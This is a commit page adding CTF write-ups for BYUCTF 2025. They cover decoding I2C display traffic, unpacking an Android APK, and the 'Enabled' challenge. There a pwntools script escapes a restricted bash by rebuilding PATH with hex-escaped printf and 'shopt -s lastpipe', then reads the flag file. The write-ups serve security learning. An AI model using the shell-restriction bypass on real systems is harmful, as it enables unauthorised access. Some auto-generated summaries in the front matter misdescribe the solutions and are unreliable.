Skip to content

Commit da63700

Browse files
committed
byuctf
1 parent 317b13a commit da63700

File tree

11 files changed

+794
-0
lines changed

11 files changed

+794
-0
lines changed

2025-byuctf/index.md

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
---
2+
created: 2025-05-17T05:40
3+
points: 11465
4+
rank: 2
5+
team: wwf
6+
title: BYUCTF 2025
7+
updated: 2025-05-17T21:53
8+
---
9+
10+
Fun little CTF.
11+
12+
::ctf-overview
13+
::

2025-byuctf/misc/Alpha/index.md

Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
---
2+
ai_date: 2025-05-17 21:38:34
3+
ai_summary: CSV parsing reveals hidden characters in LED Backpack code, hinting at ASCII art XOR cipher
4+
ai_tags:
5+
- xor
6+
- ascii-art
7+
- ciphertext
8+
created: 2025-05-17T05:47
9+
points: 477
10+
solves: 58
11+
title: Alpha
12+
updated: 2025-05-17T21:52
13+
---
14+
15+
First we export the data to CSV via Logic 2.
16+
17+
![image.png](https://res.cloudinary.com/kumonochisanaka/image/upload/v1747475861/2025/05/8cf348e909be33fb93f0e5aada82299c.png)
18+
19+
Then we parse it.
20+
21+
```python
22+
import csv
23+
24+
25+
def load_charset(cpp_path):
26+
cmap = {}
27+
with open(cpp_path, encoding='utf-8', errors='ignore') as f:
28+
in_table = False
29+
ascii_idx = 0
30+
for line in f:
31+
if not in_table:
32+
if 'static const PROGMEM uint16_t alphafonttable' in line:
33+
in_table = True
34+
continue
35+
if '};' in line:
36+
break
37+
parts = line.split('//')
38+
code = parts[0].strip().rstrip(',')
39+
if not code:
40+
continue
41+
if ',' in code:
42+
continue
43+
mask = int(code, 0)
44+
ch = None
45+
if len(parts) > 1 and parts[1].strip():
46+
ch = parts[1].strip()[0]
47+
else:
48+
if ascii_idx == 32:
49+
ch = ' '
50+
if ch:
51+
cmap[mask] = ch
52+
ascii_idx += 1
53+
return cmap
54+
55+
56+
def parse_i2c(csv_path):
57+
recs = []
58+
buf = b''
59+
with open(csv_path, newline='') as f:
60+
reader = csv.DictReader(f)
61+
for row in reader:
62+
if row['name'] != 'I2C':
63+
continue
64+
if row['data']:
65+
buf += bytes([int(row['data'], 16)])
66+
if row['type'] == 'stop':
67+
if buf:
68+
recs.append(buf)
69+
buf = b''
70+
return recs
71+
72+
73+
if __name__ == '__main__':
74+
import sys
75+
csv_path, cpp_path = sys.argv[1], sys.argv[2]
76+
77+
cmap = load_charset(cpp_path)
78+
cmap[0] = ''
79+
records = parse_i2c(csv_path)
80+
lines = [[] for _ in range(4)]
81+
for r in records:
82+
print(r.hex(), len(r))
83+
if len(r) >= 16:
84+
for i in range(4):
85+
mask = int.from_bytes(r[1+i * 2:1+i * 2 + 2], 'little')
86+
if mask in cmap:
87+
lines[i].append(cmap[mask])
88+
else:
89+
print(f'Unknown mask: {mask:016b} {mask:04x}')
90+
lines[i].append('?')
91+
for i in range(4):
92+
print(''.join(lines[i]))
93+
```
94+
95+
Get char map from [Adafruit_LEDBackpack.cpp](https://github.com/adafruit/Adafruit_LED_Backpack/blob/master/Adafruit_LEDBackpack.cpp).
96+
97+
```bash
98+
python solve.py byuctf.csv Adafruit_LEDBackpack.cpp
99+
```
100+
101+
For some reason, the best I could get was this, I had to guess the last character.
102+
103+
```
104+
byuctf{4r3n7_h4rdw4r3_pr070c0l5_c0?byuct
105+
yuctf{4r3n7_h4rdw4r3_pr070c0l5_c0??yuctf
106+
uctf{4r3n7_h4rdw4r3_pr070c0l5_c00??uctf{
107+
ctf{4r3n7_h4rdw4r3_pr070c0l5_c00l??ctf{4
108+
```
109+
110+
And it wasn't that bad.
111+
112+
```flag
113+
byuctf{4r3n7_h4rdw4r3_pr070c0l5_c00l?}
114+
```

2025-byuctf/misc/enabled/index.md

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
---
2+
ai_date: 2025-05-17 21:38:39
3+
ai_summary: Bypassed blacklist using printf and read to set PATH, then exploited with shopt -s lastpipe and cat flag
4+
ai_tags:
5+
- shell
6+
- cmd-injection
7+
- path-traversal
8+
created: 2025-05-17T04:45
9+
points: 436
10+
solves: 96
11+
title: Enabled
12+
updated: 2025-05-17T21:52
13+
---
14+
15+
Well we can use `printf` to bypass the blacklist.
16+
17+
Let's then try refilling the PATH variable with `read`.
18+
19+
```bash
20+
printf '\\x2fbin:\\x2fusr\\x2fbin'|read PATH
21+
set
22+
```
23+
24+
Well it didn't work, `PATH` is empty.
25+
26+
I looked online and apparently there is this command `shopt -s lastpipe` that allows the last command in a pipeline to run in the current shell.
27+
28+
So it would actually set the `PATH` variable.
29+
30+
```python
31+
from pwn import *
32+
r = remote("enabled.chal.cyberjousting.com", 1352)
33+
r.sendline(b"shopt -s lastpipe")
34+
r.sendline(b"printf '\\\\x2fbin:\\\\x2fusr\\\\x2fbin'|read PATH")
35+
r.sendline(b"bash")
36+
r.sendline(b"cat /flag/flag.txt")
37+
print(r.recvall(timeout=1).decode())
38+
```
39+
40+
```flag
41+
byuctf{enable_can_do_some_funky_stuff_huh?_488h33d}
42+
```

2025-byuctf/misc/index.md

Whitespace-only changes.
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
---
2+
ai_date: 2025-05-17 21:38:44
3+
ai_summary: Flag found in XML element positions after decompiling APK
4+
ai_tags:
5+
- xml
6+
- decomp
7+
- android
8+
created: 2025-05-17T06:52
9+
points: 241
10+
solves: 191
11+
title: Baby Android 1
12+
updated: 2025-05-17T21:52
13+
---
14+
15+
First decompile the APK using `apktool`.
16+
17+
```bash
18+
apktool d baby-android-1.apk
19+
```
20+
21+
![image.png](https://res.cloudinary.com/kumonochisanaka/image/upload/v1747479406/2025/05/17289875b583f6f2befe70589396cd2d.png)
22+
23+
And it is right there.
24+
25+
![image.png](https://res.cloudinary.com/kumonochisanaka/image/upload/v1747480022/2025/05/7ac73347a1c2678ea4accde6266e894b.png)
26+
27+
```python
28+
import matplotlib.pyplot as plt
29+
import xml.etree.ElementTree as ET
30+
tree = ET.parse('flag.xml')
31+
root = tree.getroot()
32+
33+
chars = []
34+
for elem in root.iter():
35+
mB = elem.get('{http://schemas.android.com/apk/res/android}layout_marginBottom')
36+
mE = elem.get('{http://schemas.android.com/apk/res/android}layout_marginEnd')
37+
if mB is None or mE is None:
38+
continue
39+
mB = float(mB.replace('dip', ''))
40+
mE = float(mE.replace('dip', ''))
41+
chars.append((elem.get("{http://schemas.android.com/apk/res/android}text"), mB, mE))
42+
43+
44+
sortedByB = sorted(chars, key=lambda x: x[1], reverse=True)
45+
sortedByE = sorted(chars, key=lambda x: x[2], reverse=True)
46+
print("".join([x[0] for x in sortedByB]))
47+
print("".join([x[0] for x in sortedByE]))
48+
49+
50+
plt.figure(figsize=(10, 10))
51+
for char, mB, mE in chars:
52+
plt.text(mE, mB, char)
53+
plt.grid(True)
54+
plt.xlabel('MarginEnd')
55+
plt.ylabel('MarginBottom')
56+
plt.title('Character Positions')
57+
plt.xlim(0, 1000)
58+
plt.ylim(0, 1000)
59+
plt.show()
60+
```
61+
62+
```flag
63+
byuctf{android_piece_0f_c4ke}
64+
```

2025-byuctf/rev/index.md

Whitespace-only changes.

0 commit comments

Comments
 (0)